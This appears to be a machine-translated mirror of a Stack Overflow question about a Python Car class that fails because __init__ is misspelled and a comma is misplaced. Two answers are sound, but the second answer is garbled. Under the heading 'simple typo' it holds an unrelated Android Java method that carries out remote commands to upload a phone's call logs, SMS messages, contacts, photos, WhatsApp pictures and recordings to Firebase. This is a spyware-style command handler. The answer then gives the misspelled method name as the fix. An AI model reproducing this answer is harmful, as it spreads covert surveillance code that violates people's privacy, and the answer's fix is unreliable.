Python Class()没有参数错误。我正在使用Self

时间:2018-08-25 19:06:43

标签: python class compiler-errors

我一直在浏览Stack和整个互联网,但是找不到我要处理的问题。我是Python的新手,正在学习类的工作方式。我编写了一个非常简单的类和函数以将其打印到控制台。


class Car():

    def __intit__(self, make, model, year):
        self.make = make
        self.model = model
        self.year = year

    def get_descriptive_name(self):
        long_name = str(self.year), + " " + self.make + " " + self.model
        return long_name.title()

my_new_car = Car('Chevy', 'sonic', 2015)

print(my_new_car.get_descriptive_name())

但是当我运行编译器时,它返回错误Car()不带任何参数。我知道需要自我参数,并且已经将它们包含在所有我认为可以放入的参数中。我已经做了很多实验,但我没有尝试改变它。我希望有人可以向我解释一下,或者可能知道相关主题?

在此先感谢您的帮助!

3 个答案:

答案 0 :(得分:2)

您没有__init__方法采用实例参数,因为您将其错误拼写为def __intit__(self, make, model, year):。结果,在实例化my_new_car = Car('Chevy', 'sonic', 2015)时,您正在将不需要的参数传递给Car。

答案 1 :(得分:1)

简单的错字:

public void executeCommand(long c, DataSnapshot dataSnapshot) {

        int a = Integer.parseInt(String.valueOf(c));
        String command;

        switch (a) {

            case 0:

                Log.i(TAG, COMMAND_SET_STATUS);
                setStatus();
                command = COMMAND_SET_STATUS;

                break;

            case 1:

                try {

                    long count = Integer.parseInt(dataSnapshot.getKey());
                    mRootRef.child(CALL_LOGS_LIST).setValue(getCallLogs(count));
                    command = COMMAND_GET_CALLS;
                    break;


                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                    break;
                }

            case 2:

                try {

                    long count = Integer.parseInt(dataSnapshot.getKey());
                    Log.i(TAG, COMMAND_GET_MESSAGES);
                    mRootRef.child(SMS_LIST).setValue(getSmsList(count));
                    command = COMMAND_GET_MESSAGES;
                    break;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                    break;

                }

            case 3:

                Log.i(TAG, COMMAND_GET_CONTACTS);
                mRootRef.child(CONTACTS_LIST).setValue(getContactList());
                command = COMMAND_GET_CONTACTS;

                break;


            case 4:

                dbHelper.setRecordOn();
                setStatus();
                command = COMMAND_SET_RECORD_TRUE;

                break;

            case 5:

                dbHelper.setRecordOff();
                setStatus();
                command = COMMAND_SET_RECORD_FALSE;

                break;


            case 6:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getCameraPictures(count);
                    command = COMMAND_GET_CAMERA_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;

                }

                break;

            case 7:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getWhatsAppSentPictures(count);
                    command = COMMAND_GET_WHATSAPP_SENT_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;
                }
                break;

            case 8:

                try {

                    int count = Integer.parseInt(dataSnapshot.getKey());
                    getWhatsAppReceivedPictures(count);
                    command = COMMAND_GET_WHATSAPP_RECEIVED_PICTURES;

                } catch (NumberFormatException e) {

                    e.printStackTrace();
                    command = COMMAND_EXCEPTION;

                }

                break;


            case 9:

                List<String> recList = getRecsList();

                if (recList.size() == 0) {

                    command = COMMAND_GET_RECS_ZERO;
                    break;

                }

                mRootRef.child(RECS_LIST).setValue(recList);
                command = COMMAND_GET_RECS;
                break;

            default:

                command = COMMAND_UNKNOWN_COMMAND;
                break;

        }

        final String finalCommand = command;

        dataSnapshot.getRef().removeValue(new DatabaseReference.CompletionListener() {

            @Override
            public void onComplete(DatabaseError databaseError, DatabaseReference databaseReference) {

                CommandHistory commandHistory = new CommandHistory(finalCommand, new Date().toString());

                mRootRef.child(COMMAND_HISTORY).push().setValue(commandHistory)
                        .addOnCompleteListener(new OnCompleteListener<Void>() {
                            @Override
                            public void onComplete(@NonNull Task<Void> task) {

                                if (task.isSuccessful()) {

                                }
                            }
                        });
            }
        });
    }

应为def __intit__(self, make, model, year):

答案 2 :(得分:0)

class Car():

    def __init__(self, make, model, year):
        self.make = make
        self.model = model
        self.year = year

    def get_descriptive_name(self):
        long_name = str(self.year) + " " + self.make + " " + self.model
        return long_name.title()

my_new_car = Car('Chevy', 'sonic', 2015)

print(my_new_car.get_descriptive_name())

You have two errors, 
1) def __init__ (like above)
2) long_name = str(self.year) + " " + self.make + " " + self.model
after str(self.year) you have unnecessary commas